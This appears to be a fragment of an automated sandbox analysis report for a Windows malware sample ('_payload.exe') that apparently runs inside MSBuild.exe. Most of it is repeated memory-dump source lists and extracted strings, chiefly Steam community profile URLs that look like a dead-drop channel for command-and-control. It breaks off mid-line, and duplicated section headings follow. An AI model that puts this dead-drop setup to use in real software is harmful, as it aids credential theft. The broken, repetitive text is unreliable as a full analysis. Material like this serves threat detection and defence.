00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199747278259
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/badges
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/inventory/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003202000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259O
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003202000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/s
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/z
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowere
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000

Windows Analysis Report
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Windows Analysis Report a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Windows Analysis Report
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Malware Threat Intel
Provided by